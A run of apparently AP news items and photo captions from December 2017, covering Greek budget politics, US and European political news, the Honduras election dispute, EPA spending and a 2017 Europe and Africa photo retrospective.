His governing Syriza party is trailing New Democracy in the polls. But Tsipras insisted Tuesday that the government will see out its mandate, which ends in 2019.

Lawmakers attend a parliament debate in Athens, on Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)

Leader of main opposition New Democracy party Kyriakos Mitsotakis shows a paper with financial statistics during a parliament debate in Athens, on Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)

Greece's Prime Minister Alexis Tsipras reacts during a parliament debate in Athens, on Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)

Greece's Finance Minister Euclid Tsakalotos speaks during a parliament debate in Athens, on Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)

Greece's Prime Minister Alexis Tsipras reacts during a parliament debate in Athens, Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)

A couple pass by a record shop in the Monastiraki district of central Athens, a favourite with budget shoppers looking for second-hand goods or antiques collectors, on Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)
AUSTIN, Texas (AP) - The sister of a Texas man accused of violating a federal law that makes it illegal for controlled-substance users to own a firearm says he relies on marijuana to treat epilepsy.

The Austin American-Statesman reports that 50-year-old Steven Boehle (BO-lee) was initially accused of planning an attack on police.

Investigators allege an informant said Boehle wanted to shoot officers. A federal judge says a letter Boehle allegedly wrote about the plan was "marijuana-induced gibberish."

Boehle pleaded guilty in September to unlawful possession of a firearm by a prohibited person. He was sentenced this month to five years' probation.

Boehle could go to prison if he tests positive or is found with marijuana. His sister says that's a concern given his reliance on the drug. She says her brother suffered a seizure and hit his head while in jail.

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Information from: Austin American-Statesman, http://www.statesman.com
LONDON (AP) - British police sent a bomb disposal team to a house in northern England Tuesday after officers carried out pre-dawn raids to arrest four men on suspicion of plotting terrorist attacks.

Counter-terrorism police detained the four men at their homes in Sheffield and Chesterfield in the early morning. Officers then cordoned off one of the houses and evacuated local residents as bomb experts arrived and searches were carried out.

The men, aged 22 to 41, were questioned at a police station. Police said the arrests were "intelligence-led and pre-planned" as part of an ongoing investigation.

The men have not been charged and were not identified.

The official terrorist threat level for Britain is "severe," indicating an attack is considered highly likely. Britain saw five attacks in London and Manchester this year, and Home Secretary Amber Rudd said earlier this month that authorities have foiled nine terror plots since March.
BERLIN (AP) - Austrian Chancellor Sebastian Kurz on Tuesday sought to allay Italian fears over a government proposal to offer citizenship mainly to German-speakers in a northern Italian region that was formerly part of the Austrian-Hungarian Empire.

After Italian politicians balked at the unilateral proposal, Kurz said the citizenship offer outlined in the coalition government agreement between his Austrian People's party and the populist, right-wing Freedom Party only would be pursued "in close coordination" with Italy.

An undersecretary in Italy's foreign ministry, Benedetto Della Vedova, welcomed the softening of the Austrian position.

Vice Chancellor Heinz-Christian Strache of the right-wing Freedom Party, FPOE, and Austrian Chancellor Sebastian Kurz of the conservative People's Party, OEVP, from left, arrive for a news conference after a cabinet meeting at the federal chancellery in Vienna, Austria, Tuesday, Dec. 19, 2017. (AP Photo/Ronald Zak)

He said Italy had read the proposal to grant Austrian citizenship en masse to speakers of German and the Romance language Ladino in the South Tyrol region as a provocative move. Seventy percent of the region's residents speak German, 25 percent Italian and 5 percent Ladino.

South Tyrol, known as Alto Adige in Italian, became part of Italy after World War I, but tension lingered for decades after a post-World War II vote by citizens on whether to remain in Italy or join Austria.

The "remain" vote won, while dissenters relocated to Austria. Still, the post-war agreement to remain part of Italy, which included broad political and economic autonomy, was a long and uneasy one, as South Tyrol politicians with the backing of Austria sought to create more distance from Rome.

An era of secession-driven terrorism that started in the 1960s followed. But even once the violence quieted, decades of resentment by locals toward Italian-speaking visitors ensued, with petty acts of vandalism common.

Italian fears over Austria upsetting a hard-won balance with the region's ethnic minorities were aroused by the citizenship proposal released over the weekend.

The concerns heightened Monday when Werner Neubauer, the Freedom Party official in charge of relations with Alto Adige, said during a visit to Bolzano, in northern Italy, that German- and Ladino-speakers would be able to request Austrian citizenship next year and receive it as soon as early 2019.

Neubauer also said that Italian athletes who received Austrian citizenship could compete for Austria, further stirring emotions, as many of Italy's elite winter sports athletes hail from the mountainous South Tyrol region.

Italian Foreign Minister Angelino Alfano said the question of double-citizenship would have to be faced "with great delicacy."

Far-right Italian politician Giorgia Meloni warned "hands off Alto Adige," and expressed anger that Austria had "put on the table, unilaterally, the concession of citizenship" after Italy's government had spent "billions of euros of Italian money to pay the German-speaking population in the autonomous region."

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Colleen Barry contributed from Milan.
WASHINGTON (AP) - House Speaker Paul Ryan told reporters Tuesday that he's not leaving his job "anytime soon," minutes after getting a standing ovation from colleagues when he told them the same thing.

Ryan's status has been the subject of speculation since reports last week that he's discussed leaving Congress after his current two-year term, or even after the Republican tax bill is approved.

The tax measure's passage, expected Tuesday, would mark a long-time goal of the Wisconsin Republican. But he faces the difficult task of reaching compromises with Democrats on the budget and immigration that could anger conservatives, and 2018 elections in which the GOP's House majority is at risk.

House Speaker Paul Ryan of Wis., center, arrives for a meeting of House Republicans on Capitol Hill in Washington, Tuesday, Dec. 19, 2017. Republicans are ready to ram a $1.5 trillion tax package through Congress, giving President Donald Trump the legislative win he desperately wants. (AP Photo/Susan Walsh)

"I'm not going anywhere anytime soon, and just let's leave that thing at that," Ryan said when asked if he'd seek re-election to his House seat next year.

Ryan said he felt compelled to tell his colleagues about his plans because of reporting that he called "very irresponsible" and "faulty speculation."

In a closed-door meeting with GOP lawmakers, Ryan said that it made no sense to leave "when we're winning and have the momentum," according to Rep. Barry Loudermilk, R-Ga. He and others said Republicans responded with applause and a standing ovation.

Ryan reluctantly assumed the House's top job in 2015 after then-Speaker John Boehner, R-Ohio, resigned under pressure from party conservatives. Ryan, 47, was first elected in 1998.
TEGUCIGALPA, Honduras (AP) - Honduras President Juan Orlando Hernandez called on the country's leaders Tuesday to accept his disputed re-election and bring peace to the divided country, even as his challenger said he would once again challenge the official result.

"The people have spoken and it only remains to comply with their will, expressed freely at the ballot box," Hernandez said in a televised speech.

But street protests continued Tuesday, with roads and highways blocked at various points by burning tires and rocks two days after the Electoral Tribunal rejected complaints by Salvador Nasralla and declared Hernandez the victor in the Nov. 26 election.

Supporters of presidential candidate Salvador Nasralla hold a Honduran flag as they block a road in Tegucigalpa, Honduras, Monday, Dec. 18, 2017. President Juan Orlando Hernandez has been declared the winner of Honduras' disputed election, but that isn't quelling unrest from weeks of uncertainty as his main challenger calls for more protests Monday and vows to take his claims of fraud to the OAS. (AP Photo/Fernando Antonio)

According to the court's official count, Hernandez won with 42.95 percent to 41.42 for Nasralla, a former sportscaster backed by a left-leaning coalition.

However the Organization of American States, which had observers monitoring the election, called for a repeat of the vote, saying the official version of the count included "extreme statistical improbability." A Georgetown University researcher who advised the OAS said an implausibly uniform wave of late-breaking results across the country pushed Hernandez past Nasralla after a daylong interruption in counting.

Nasralla, who was in Washington to rally international support, said he would file a new formal appeal of the results, and said he was encouraged by the reaction of the U.S. government, which issued a statement Monday urging parties unhappy with the vote to take advantage of a five-day period to appeal it.

But Honduras Vice President Ricardo Alvarez insisted on Monday there would be no do-over.

The election began in controversy over the mere fact Hernandez was seeking re-election. The country's constitution explicitly bans it and another former president - now leader of Nasralla's coalition - was ousted from office by the army, legislature and courts just for allegedly considering it. But a pro-Hernandez Supreme Court ruled in 2015 that the ban violated his rights, paving the way for him to run.

Verna Osorto, American Airlines' manager in Tegucigalpa, said the carrier had canceled flights to the country since Friday. Especially in the second city of San Pedro Sula, Osorto said, the passage of vehicles and persons has been interrupted by blockades and protests.

The cancellations were made "due to questions of security because we do not want to expose our passengers and employees," the manager said.

The opposition and the Committee of Detained and Disappeared, a non-governmental organization, said at least 24 people, including two police officers, have been killed in the three weeks of unrest. However police spokesman Jair Meza said 17 deaths have been officially confirmed.

___

Luis Alonso Lugo reported from Washington.
RICHMOND, Va. (AP) - The superintendent of the Virginia State Police announced his retirement Tuesday after decades of service, a move an agency spokeswoman said was unrelated to this summer's violent white nationalist rally in Charlottesville.

Authorities have faced unrelenting criticism for their handling of the rally, and Col. W. Steven Flaherty's retirement marks the third announcement in two days of the departure of a top public official with a role in responding. But state police spokeswoman Corinne Geller said Flaherty had been planning to step down at the end of Gov. Terry McAuliffe's administration.

"Having the opportunity to serve in the capacity of Superintendent these past 14 years and three months has truly been the greatest honor of my life," Flaherty, who has more than 42 years with the agency, said in a statement. Flaherty, 64, was appointed superintendent by then-Gov. Mark Warner in October 2003.

FILE- This April 17, 2007 file photo shows Virginia State Police Col. Steve Flaherty on the campus of Virginia Tech University in Blacksburg, Va. Flaherty announced his retirement Tuesday, Dec. 19, 2017, after decades in service. Col. W. Steven Flaherty's retirement marks the third departure announced in two days of a top public official who had a role in responding to this summer's violent white nationalist rally in Charlottesville. (AP Photo/Steve Helber,File)

The city of Charlottesville announced earlier Tuesday that City Attorney Craig Brown will be leaving at the end of January. And Charlottesville Police Chief Al Thomas, 50, announced his retirement Monday after less than two years on the job.

The departures come roughly two weeks after the release of an independent review that found serious police and government failures in responding to violence at the "Unite the Right" rally in August that drew hundreds of white nationalists from across the country to the Virginia college town.

Chaos erupted before the event even began, with attendees and counterprotesters brawling in the street. Later, a woman was killed when a car drove into a crowd protesting the white nationalists, and dozens more were injured.

The man accused in that attack, James Alex Fields of Ohio, was indicted by a grand jury Monday on 10 felony counts, including first-degree murder.

The independent review by former U.S. Attorney Tim Heaphy was sharply critical of both the city and state police, saying both "failed to 'stand up' to protect human life."

State police did not share their formal planning document for the rally with the Charlottesville Police Department, the report said. State police also conducted separate trainings, convened an exclusive briefing for its on-scene personnel on the morning of Aug. 12, and used separate radio communications from city police, it said.

Troopers were directed not to enter large unruly crowds to make arrests, something that was not adequately conveyed to Charlottesville police, the report said.

The report also said the agency's level of cooperation with the review was "disappointing." State police refused to make commanders who were on the ground at the rally available for interviews and declined to provide most documents requested, although Flaherty agreed to be interviewed.

State Police Lt. Col. Gary Settle will become the new superintendent, Gov.-elect Ralph Northam's office said in a statement. Settle currently serves as the director for the Virginia State Police Bureau of Criminal Investigation.

Settle began his law enforcement career in 1984 as a deputy with the Rappahannock County Sheriff's Office and joined state police two years later, according to a biography included with Northam's statement. He was elected sheriff in Rappahannock County in 1996 but returned to state police in 2000.

Northam also announced Tuesday that Secretary of Public Safety and Homeland Security Brian Moran will continue in that role in the new administration. Moran also helped oversee the planning for and response to the rally.

Brown, the city attorney, has led Charlottesville's legal response to lawsuits over the white nationalist rally and the city's efforts to remove two Confederate monuments.

He joined the City Attorney's Office in 1985 and was promoted to city attorney in 2001. He said in an interview that he is moving into the same role with the city of Manassas in February.

"It's been a difficult six to eight months for this entire community as well as the city government, but I had started to look around before all of that went down," Brown said.
All School District 2 sophomores will take a Pre-ACT test this spring, mirroring the system where all juniors take the traditional ACT.

The move will result in a testing day for those classes on March 20  and freshman and seniors will have the day off, school officials announced at Monday's school board meeting.

The district had hoped to extend Pre-ACT testing to freshman and send seniors to the Career Center for a college and career expo, but the transportation didn't work out.

All juniors in Montana began taking the ACT at state cost in 2014, and state officials announced it would be used for required federal testing in 2016. The ACT is widely used as a college-admissions test.

SD2 superintendent Terry Bouck said the addition of the Pre-ACT will hopefully improve test scores.

"Let's face it: ACT is high-stakes testing," Bouck said.

State officials billed the switch for juniors to the ACT from Smarter Balanced, a version of the test that students in grades 3-8 take, as reducing overall testing for high schools and getting more students interested in attending college.

But it's also resulted in logistical headaches in Billings high schools.

SD2 assessment director Roger Dereszynski said requirements for testing environments like seating boundaries and proctor-student ratios stretched both buildings and staff, to the point of recruiting elementary school counselors and retired teachers as test proctors.

"As this happens, life must go on for freshman, sophomores and seniors," he said.

With the additions of sophomores into a test pool, about 950 students at Senior High will be tested this year, said Principal Jeff Uhren, requiring nearly the full building.

Dereszynski cited research showing that students who take the ACT a second time improve 2.9 points. The test is scored on a 36-point scale.

The ACT testing company rolled out the pre-test last year, billing it as a shorter version of the ACT that would be "the ultimate preparation and practice."

SD2 will pay for the testing, Dereszynski said. He didn't have a precise cost available Monday.

Rimrock

SD2 announced in November that the shuttered Rimrock school building would be re-opened as a special education preschool center next school year.

There's a reason that it won't be a K-5 elementary school.

"It's really clear the neighborhoods are aging out," said SD2 Career and Technical Business Liaison Lew Anderson, who previously worked as the district bond manager.

Both Rose Park and Highland elementary schools are located a little more than a mile away.

"They have the schools to serve the needs for now and in the next five to ten years," Anderson said.

The district is having demographic projections used to inform its strategic plan by projecting school enrollment. The new projections are expected this winter.
CAMBRIDGE, Md. (AP) - Maryland police say they are looking for a man they say shot at two officers.

Police said two officers were on patrol in Cambridge Monday evening when they saw a man walking along the street. As they drove toward him, police said the man pulled out a gun and fired at the officers.

Police said an officer returned fire, but neither the suspect nor police are believed to be injured.

A search, with help from a Maryland State Police helicopter and K-9 team, did not find the suspect.
ROME (AP) - Rome's official Christmas tree is shedding needles so quickly it has become a jolly joke for city residents.

The 21-meter- (70-foot-) high tree, which was lit up on Dec. 8, started dropping needles at a fast clip as soon as it was hoisted into the middle of bustling Rome's main square, Piazza Venezia.

Romans have dubbed the tree "The Mangy One." They're also needling Rome's mayor about the forlorn-looking specimen, which cost 48,000 euros ($57,000) to transport from South Tyrol, an Italian Alpine region.

This combo picture taken Tuesday Dec.19, 2017 shows at left Rome's official Christmas tree placed in Piazza Venezia Square and at right the one placed in St. Peters's Square at the Vatican. Despite the tree's 600 silver-colored decorative balls, the half-bare branches lend the square a forlorn rather than festive look and critics note that across town, the Vatican's Christmas tree, from Poland, looks healthy. (AP Photo/Alessandra Tarantino)

The city said Tuesday it is investigating why the tree is ailing.

Despite the tree's 600 silver-colored decorative balls, the half-bare branches lend the square a forlorn rather than festive look.

Critics note that across town, the Vatican's Christmas tree, from Poland, appears healthy.

The Rome's official Christmas tree stands in front of the Unknown monument in Piazza Venezia Square. Despite the tree's 600 silver-colored decorative balls, the half-bare branches lend the square a forlorn rather than festive look and critics note that across town, the Vatican's Christmas tree, from Poland, looks healthy. (AP Photo/Alessandra Tarantino)

The Rome's official Christmas tree stands in front of the Unknown Soldier monument in Piazza Venezia Square. Despite the tree's 600 silver-colored decorative balls, the half-bare branches lend the square a forlorn rather than festive look and critics note that across town, the Vatican's Christmas tree, from Poland, looks healthy. (AP Photo/Alessandra Tarantino)
WASHINGTON (AP) - The head of the Environmental Protection Agency used public money to have his office swept for hidden listening devices and bought sophisticated biometric locks for additional security.

The spending items, totaling nearly $9,000, are among a string of increased counter-surveillance precautions taken by EPA Administrator Scott Pruitt, who also requires around-the-clock protection by an armed security team.

The EPA's Office of Inspector General is already investigating Pruitt's $25,000 purchase of a custom-made soundproof privacy booth for his office to deter eavesdropping on his phone calls.

FILE - In this June 2, 2017 file photo, Environmental Protection Agency administrator Scott Pruitt speaks in the Brady Press Briefing Room of the White House in Washington. The head of the Environmental Protection Agency used public money to have his office swept for hidden listening devices and bought sophisticated biometric locks for additional security. (AP Photo/Pablo Martinez Monsivais, File)

On Tuesday, EPA was forced to abandon a $120,000 no-bid contract with a Republican-linked public relations firm after it was reported one of its partners had been investigating EPA employees critical of Pruitt's efforts to roll back or delay enforcement of environmental regulations.

An accounting of Pruitt's spending for the bug sweep and pricey locks was provided to The Associated Press by an EPA employee who spoke on condition of anonymity, citing concerns of retaliation.

EPA spokesman Jahan Wilcox defended the spending.

"Administrator Pruitt has received an unprecedented amount of threats against him and while The Associated Press attempts to trivialize his safety, there is nothing nefarious about security decisions made by EPA's Protective Service Detail," Wilcox said Monday.

EPA's headquarters in Washington is a secure building, with armed guards posted at the entrances and metal detectors and X-ray machines for scanning visitors and their bags.

EPA paid $3,000 in April to Edwin Steinmetz Associates to conduct the bug sweep. The purchase of the biometric locks, which typically work by electronically scanning a person's fingerprint, was spread over two transactions earlier this year of $3,390 and $2,495.

Expenses under $3,500 are not routinely listed on a federal contracting website that provides public disclosure of government spending.

EPA employees rarely deal with government secrets, though the agency does occasionally receive, handle and store classified material because of its homeland security, emergency response and continuity missions.

Copies of Pruitt's calendar released following public records requests show he has frequently used his ornate wood-paneled office at EPA headquarters to meet with executives and lobbyists from industries regulated by his agency. In many cases, Pruitt has then announced policy decisions financially benefiting the companies with whom he had met.

In an interview last week, security contractor Ed Steinmetz declined to comment on his work for specific clients, citing non-disclosure agreements. He confirmed, however, that $3,000 is his standard rate for a one-day job.

Steinmetz said he specializes in using sophisticated detectors to scan for tiny listening devices hidden in furniture or walls, as well as in other electronic devices such as computer mice or phone chargers. He can also runs checks to see if a phone line is tapped.

"I can't confirm or deny EPA," said Steinmetz, a former police officer who said he has worked as a contractor for about 15 federal agencies. "However, that would be an agency that if you have confidential information being discussed that could negatively impact their operation, they would want to know about it."

Wilcox said that under the Obama administration, then-EPA Administrator Lisa Jackson also had her office swept for listening devices. Wilcox declined to provide the specific details of that spending, including the year and amount.

A former EPA official with direct knowledge of Jackson's security arrangements told the AP on Tuesday that the former administrator did not request that her office be swept for bugs, but said it was possible her security staff did so as a matter of routine in 2009 during the handover from the prior presidential administration. The former official had not received authorization to discuss the matter publicly and spoke on condition of anonymity.

While Cabinet members have routinely been accompanied by security staff during public appearances since the 9/11 terrorist attacks, the former official said Jackson did not require that level of protection while at home or making personal trips. Jackson also did not use a phone with special counter-surveillance measures for calls made from her office.

Asked about his custom privacy booth during a congressional oversight hearing earlier this month, Pruitt said the purchase was justified because he needs a secure phone line in his office to communicate with officials at the White House, located just a few blocks away.

Also on Tuesday, a Virginia public relations firm founded by former Republican campaign operatives pulled out of a $120,000 no-bid contract with EPA amid intense public scrutiny of the deal. Definers Public Affairs specializes in opposition research on its clients' political opponents and corporate rivals.

EPA said the contract, first reported last week by Mother Jones, was limited to tracking media reports about the agency and was cheaper than similar services from non-partisan vendors used in the past.

The New York Times then reported that a senior vice president at the firm, Allan Blutstein, has filed at least 40 requests for government files under the U.S. Freedom of Information Act over the last year, many of them seeking emails and other records from EPA employees who have spoken out against Pruitt's regulatory rollbacks.

"It's become clear this will become a distraction," said Joe Pounder, the president of Definers. "As a result, Definers and the EPA have decided to forgo the contract."

Pounder said his firm will no longer work for the federal government.

___

Follow Associated Press environmental reporter Michael Biesecker at http://twitter.com/mbieseck
In Europe and Africa, as in much of the rest of the world, 2017 was a year of political upheaval.

Emmanuel Macron, an inexperienced 39-year-old pro-Europe investment banker and ex-economy minister, ran as an independent and beat populist Marine Le Pen to become French president. Six months later, with German Chancellor Angela Merkel mired in a struggle to form a political coalition in her own country, he is increasingly taking a leadership role in Europe and beyond.

In Spain, Catalan separatists declared independence from the rest of the country after a referendum declared illegal by the Spanish government. People who tried to vote were met with police violence, protesters took to the streets, and the movement's leader fled to Brussels to avoid prosecution.

FILE - In this Sunday, Feb. 5, 2017 file photo tens of thousands of people shine lights from mobile phones and torches during a protest in front of the government building in Bucharest, Romania. Romania's government met Sunday to repeal an emergency decree that decriminalizes official misconduct, a law that has prompted massive protests at home and widespread condemnation from abroad. (AP Photo/Andreea Alexandru, File)

Negotiating the terms of Britain's exit from the European Union, meanwhile, was the key political preoccupation in Britain, where Prime Minister Theresa May's Conservative Party lost its majority in Parliament after she called an ill-advised snap election. She now leads a minority government deeply divided over Brexit.

Russian President Vladimir Putin solidified Russia's place in the world, exerting political muscle in Syria and elsewhere. He and U.S. President Donald Trump have been engaged in a delicate courtship despite sanctions imposed by each country on the other and a U.S. investigation into possible collusion between Russia and the Trump campaign.

Zimbabwe saw the extraordinary ousting of Robert Mugabe after 37 years in power as the military moved in, hundreds of thousands rallied in the streets and the ruling party began impeachment proceedings. The downfall began when the 93-year-old Mugabe fired his deputy and positioned his wife to succeed him; that deputy is now the new president.

Kenya saw months of deadly political turmoil as the Supreme Court nullified the presidential election, a first in Africa, and ordered a new vote that the opposition leader boycotted, saying electoral reforms had not been made.

In Europe, refugees and migrants continued to arrive, though in fewer numbers and with greater difficulty than at the height of the migrant crisis in 2015.

Aside from politics, 2017 was characterized by chaos and casualties inflicted by the Islamic State group and other extremists. Britain dealt with a series of attacks - in March, a man drove his rented SUV into pedestrians on London's Westminster Bridge, killing four, then stabbed a police officer to death. In May, a suicide bomber blew himself up after a pop concert, killing 22 people and injuring 116 others. Less than two weeks later, eight people died when three men crashed a van into pedestrians on London Bridge before rampaging through Borough Market with knives. Muslim worshippers also became targets during the holy month of Ramadan, mowed down by an attacker who plowed a van into a crowd leaving prayers at two mosques in north London.

Tragedy struck in June at Grenfell Tower, a 24-story public housing project in London that was engulfed in flames after a refrigerator fire quickly spread through the building. Seventy-one people died, touching off a national reckoning over shoddy construction practices and inadequate fire safety regulations.

In Spain in August, a van plowed into people walking along Barcelona's famed Las Ramblas, killing 13 and injuring dozens more. Attackers then drove to a seaside resort town and killed another person before five of them were shot to death. The Islamic State group claimed responsibility.

Somalia had its worst ever attack in October, when more than 500 people were killed by a truck bomb on a Mogadishu street. The government blamed al-Shabab, but no group has claimed responsibility.

The following is a selection of some of the best AP images from 2017 in Europe and Africa, curated by Europe and Africa Regional Photo Editor Tony Hicks.

FILE - In this Thursday, Feb. 2, 2017 file photo an Afghan refugee youth washes himself in a hole in the ground outside an old train carriage where he and other migrants took refuge in Belgrade, Serbia. Hundreds of migrants have been sleeping rough in freezing conditions in central Belgrade looking for ways to cross the heavily guarded EU borders. (AP Photo/Muhammed Muheisen, File)

FILE - In this Tuesday, Jan. 10, 2017 file photo migrants queue for food in front of an abandoned warehouse in Belgrade, Serbia. Hundreds of migrants are sleeping rough in parks and make-shift shelters in the Serbian capital in freezing temperatures waiting for a chance to move forward toward the European Union. (AP Photo/Darko Vojinovic, File)

FILE - In this Thursday, Feb. 2, 2017 file photo Romanian riot police detain a man, face covered in blood, after minor clashes erupted during a protest in Bucharest, Romania. Brief clashes broke out between protesters and police in Romania's capital, as tens of thousands of people protested for the second night a government decision to decriminalise official misconduct. (AP Photo/Vadim Ghirda, File)

FILE - In this Tuesday, July 25, 2017 file photo sub-Saharan migrants receive life jackets as they are rescued by aid workers of Spanish NGO Proactiva Open Arms in the Mediterranean Sea, about 15 miles north of Sabratha, Libya. (AP Photo/Santi Palacios, File)

FILE - In this Thursday, Aug. 31, 2017 file photo African migrants gesture as stand on the deck of the Aquarius vessel of SOS Mediterranee and MSF (Doctors Without Borders) NGOs, in the Mediterranean Sea, southwest of Malta. 265 people rescued from the sea during previous days are being transferred to Italy. (AP Photo/Darko Bandic, File)

FILE - In this Wednesday, June 21, 2017 file photo a dead body of a woman is seen floating on the mediterranean sea, at 20 miles north of Zuwarah, Libya. At least three bodies with sign of decompositions were found by aid organisations on Wednesday, apparently from a recent sinking boat in the area from people who were attempting the perilous crossing of the Mediterranean Sea to Europe in packed boats from Libya. (AP Photo/Emilio Morenatti, File)

FILE - In this Sunday, Sept. 10, 2017 file photo Ammar Hammasho, a migrant from Idlib in Syria who lives in Cyprus, holds the hand of one of his four children after they arrived with their mother to a refugees camp in Kokkinotrimithia outside of the capital Nicosia, in the eastern Mediterranean island of Cyprus. (AP Photo/Petros Karadjias, File)

FILE - In this Thursday, Feb. 23, 2017 file photo Russian President Vladimir Putin attends a wreath-laying ceremony at the Tomb of the Unknown Soldier in Moscow, Russia. The Defenders of the Fatherland Day, celebrated in Russia on Feb. 23, honors the nation's military and is a nationwide holiday. (AP Photo/Ivan Sekretarev, File)

FILE - In this Thursday, March 30, 2017 file photo Russian opposition leader Alexei Navalny, right, poses for press in court in Moscow, Russia. Navalny attends a court hearing on his appeal. Navalny, who organized a wave of nationwide protests against government corruption was sentenced to 15 days in jail.(AP Photo, File)

FILE - In this Tuesday, May 9, 2017 file photo local residents carry portraits of their ancestors, participants in World War II as they celebrate the 72nd anniversary of the defeat of the Nazis in World War II in St. Petersburg, Russia. About 400,000 people walked in central streets of St. Petersburg in a march named 'Immortal Regiment' while carrying portraits of their relatives who fought in World War II. (AP Photo/Dmitri Lovetsky, File)

FILE - In this Sunday, March 26, 2017 file photo police detain a protester in downtown Moscow, Russia. Thousands of people crowded into Moscow's Pushkin Square on Sunday for an unsanctioned protest against the Russian government, the biggest gathering in a wave of nationwide protests that were the most extensive show of defiance in years. (AP Photo/Alexander Zemlianichenko, File)

FILE - In this Friday, July 7, 2017 file photo President Donald Trump shakes hands with Russian President Vladimir Putin at the G20 Summit in Hamburg. (AP Photo/Evan Vucci, File)

FILE - In this Sunday, Aug. 13, 2017 file photo Kenyan opposition leader Raila Odinga gestures to thousands of supporters gathered in the Mathare slum of Nairobi, Kenya. Odinga on Sunday condemned police killings of rioters during protests after the country's disputed election and is urging supporters to skip work Monday. (AP Photo/Ben Curtis, File)

FILE - In this Tuesday, Sept. 5, 2017 file photo Kenya's President Uhuru Kenyatta is reflected in the hood of the presidential vehicle in which he is standing, addresses his supporters on a street in Ongata Rongai, on the outskirts of Nairobi, Kenya. (AP Photo/Ben Curtis, File)

FILE - In this Saturday, Oct. 28, 2017 file photo opposition supporters attempt to break the door of a shop in order to loot it, in the slum of Kawangware in Nairobi, Kenya. Kenyan opposition areas were calmer Saturday, a day after the country's election commission postponed voting in four restive counties where deadly clashes between police and protesters have occurred.(AP Photo/Darko Bandic, File)

FILE - In this Wednesday, Aug. 9, 2017 file photo residents hold their hands up in the air towards police, as a man genuflects, right, next to the body of a man who had been shot in the head and who the crowd claimed had been shot by police, in the Mathare slum of Nairobi, Kenya. Kenya's election took an ominous turn on Wednesday as violent protests erupted in the capital. (AP Photo/Ben Curtis)

FILE - In this Thursday, Aug. 10, 2017 file photo a man seeking safety walks with his hands in the air through a thick cloud of tear gas towards riot police, as they clash with protesters throwing rocks in the Kawangware slum of Nairobi, Kenya. International observers on Thursday urged Kenyans to be patient as they awaited final election results following opposition allegations of vote-rigging, but clashes between police and protesters again erupted in Nairobi. (AP Photo/Ben Curtis, File)

FILE - In this Wednesday, June 14, 2017 file photo smoke and flames rise from the Grenfell Tower high-rise building in west London. (AP Photo/Matt Dunham)

FILE - In this Wednesday, June 14, 2017 file photo a resident in a nearby high-rise building watches smoke rise from a massive fire at the high-rise Grenfell Tower in London. (AP Photo/Matt Dunham, File)

FILE - In this Wednesday, March 22, 2017 file photo emergency services staff provide medical attention to injured people on Westminster Bridge, near the Houses of Parliament in London. The Islamic State group claimed responsibility for the attack by a man who plowed an SUV into pedestrians on the bridge and then stabbed a police officer to death on the grounds of Britain's Parliament. (AP Photo/Matt Dunham, File)

FILE - In this Wednesday, Sept. 27, 2017 file photo a powerful explosion is seen in the ammunition depot at a military base in Kalynivka, west of Kiev, Ukraine. Ukrainian officials say they have evacuated more than 30,000 people after a fire and ammunition explosions, at the military base. (AP Photo/Efrem Lukatsky, File)

FILE - In this Wednesday, July 26 2017 file photo railroad ties burn at the Barca da Amieira-Envendos train station outside the village of Sao Jose das Matas, near Macao, central Portugal. More than 2,300 firefighters with over 700 vehicles are tackling wildfires in Portugal, where large areas of woodland are scorched in the summers. (AP Photo/Armando Franca, File)

FILE - In this Tuesday Aug. 15, 2017 file photo a fire fighting helicopter flies amid smoke as the sun sets during a forest fire near Kapandriti north of Athens. A large wildfire north of Athens is threatening homes as it sweeps through pine forest for a third day, uncontained due to high winds.(AP Photo/Petros Giannakouris)

FILE - In this Tuesday, April 11, 2017 file photo Mount Etna, Europe's most active volcano, spews lava as the Sicilian town of Riposto, Italy, is visible in foreground, during an eruption. (AP Photo/Salvatore Allegra, File)

FILE - In this Sunday, Feb. 19, 2017 file photo a boy takes a selfie with Pope Francis, during a visit to the parish of Santa Maria Josefa del Cuore di Gesu', in Rome. (AP Photo/Alessandra Tarantino, File)

FILE - In this Wednesday, May 24, 2017 file photo Pope Francis walks past Ivanka Trump, left, and First Lady Melania Trump on the occasion of the private audience with President Donald Trump, at the Vatican. (AP Photo/Alessandra Tarantino, File)

FILE - In this Friday, Jan. 27, 2017 file photo German Chancellor Angela Merkel watches as Former German Foreign Minister Frank-Walter Steinmeie and his successor and former German Minister for Economic Affairs and Energy, Sigmar Gabriel receive their notices of dismissal and their documents of appointment by German President Joachim Gauck in Berlin, Germany. (AP Photo/Michael Sohn)

FILE - In this Tuesday, Oct. 10, 2017 file photo Turkey's President Recep Tayyip Erdogan looks on as documents are exchanged after the signing of an agreement after talks with his Serbian counterpart Aleksandar Vucic, in Belgrade, Serbia. Erdogan is on a two-day official visit to Serbia. (AP Photo/Darko Vojinovic, File)

FILE - In this Tuesday, March 14, 2017 file photo former French Economy Minister and candidate for the next presidential election, Emmanuel Macron leaves the University of Lille, during a political rally for his movement, En Marche! (Forward!) in Lille. (AP Photo/Michel Spingler, File)

FILE - In this Sunday May 7, 2017 file photo incoming French President Emmanuel Macron walks towards the stage to address his supporters at the Louvre Palace in Paris. Polling agencies have projected that centrist Macron will be France's next president, putting a 39-year-old political novice at the helm of one of the world's biggest economies and slowing a global populist wave. (AP Photo/Christophe Ena, File)

FILE - In this Friday, Oct. 20, 2017 file photo British Prime Minister Theresa May waits for the arrival of European Council President Donald Tusk prior to a bilateral meeting with European Council President Donald Tusk during an EU summit in Brussels. European Union leaders gathered Friday to weigh progress in negotiations on Britain's departure from their club as they look for new ways to speed up the painfully slow moving process. (AP Photo/Geert Vanden Wijngaert,File)

